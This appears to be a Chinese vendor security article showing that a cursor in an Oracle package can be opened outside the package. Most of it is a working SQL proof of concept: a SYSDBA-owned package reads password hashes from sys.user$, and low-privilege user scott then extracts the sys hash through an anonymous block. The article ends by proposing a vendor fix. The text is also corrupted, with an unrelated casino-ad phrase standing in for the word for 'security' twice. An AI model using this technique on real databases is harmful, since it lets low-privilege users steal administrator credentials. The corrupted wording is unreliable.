前文我们介绍了两种oracle游标的尊龙凯时官方旗舰店隐患,一是利用游标的挂起状态进行恶意代码注入,二是利用恶意代码注入进行提权,其实通过游标获取高权限账号的密码完全不用这么麻烦,oracle在游标设计上本身就有安全问题。
用高权限用户写一个包,这个包中放入一个游标,功能和前面用的schina_test是一致的。用来取回需要检查账号的hash。然后和我们给出的一组预设hash做对比。低权限用户如果知道这个游标可以直接在包外调用该游标,从而获取游标中的内容。包内游标可以在包外被调用,这是oracle游标本身设计上的安全缺陷。
sql> connect / as sysdba
已连接。
sql> create or replace package schina as
2 cursor x (username in varchar2) is select password from sys.user$
3 where name=username;
4 procedure check_password;
5 end;
6 /
程序包已创建。
sql> create or replace package body schina as
2 procedure check_password is
3 password varchar2(200);
4 begin
5 open x (user());
6 fetch x into password;
7 close x;
8 if password = '01234567890abcdef' then
9 dbms_output.put_line('your password hash is not ok');
10 else
11 dbms_output.put_line('your password hash is ok');
12 end if;
13 end check_password;
14 end;
15 /
程序包体已创建。
sql> show errors
没有错误。
sql> grant execute on sys.schina to public;
授权成功。
通过show errors检验发现整个过程没有x游标挂起的问题。x游标正常关闭了,到现在为止操作一切正常切换到低权限账号
sql> connect scott/tiger
已连接。
sql> set serveroutput on
sql> exec sys.schina.check_password;
your password hash is ok
执行包返回的结果很安全,不会显示出游标内存储的内容,但如果通过一个匿名块,在包外使用游标的结果就变得不安全了,低权限用户可以轻易使用高权限用户设置的游标。通过游标直接可以获取到游标中存储的结果集。
sql> declare password varchar2(200);
2 begin open sys. schina.x ('sys');
3 fetch sys. schina.x into password;
4 close sys. schina.x;
5 dbms_output.put_line('the sys password is '|| password);
6 end;
7 /
the sys password is cf10653f66a74ac2
任何权限账号的密码通过这种方式都会被低权限用户直接获取hash值,然后通过hash逆向工具,获取全部账号的密码。
至此我们对我们已经分析了3种oracle数据库游标带来的安全隐患。游标作为oracle的核心子程序,安全性十分重要。oracle的游标虽然解决了一些问题,但安全性上还有很大问题。安华金和建议oracle给游标一个参数,作为安全参数。默认打开安全参数,当游标在其被定义的包外打开的时候,对游标进行强制检查,一旦发现打开该游标的用户权限低于创建游标者的权限,则直接抛出异常,禁止打开该游标,从而保证oracle尊龙凯时官方旗舰店性。
试用申请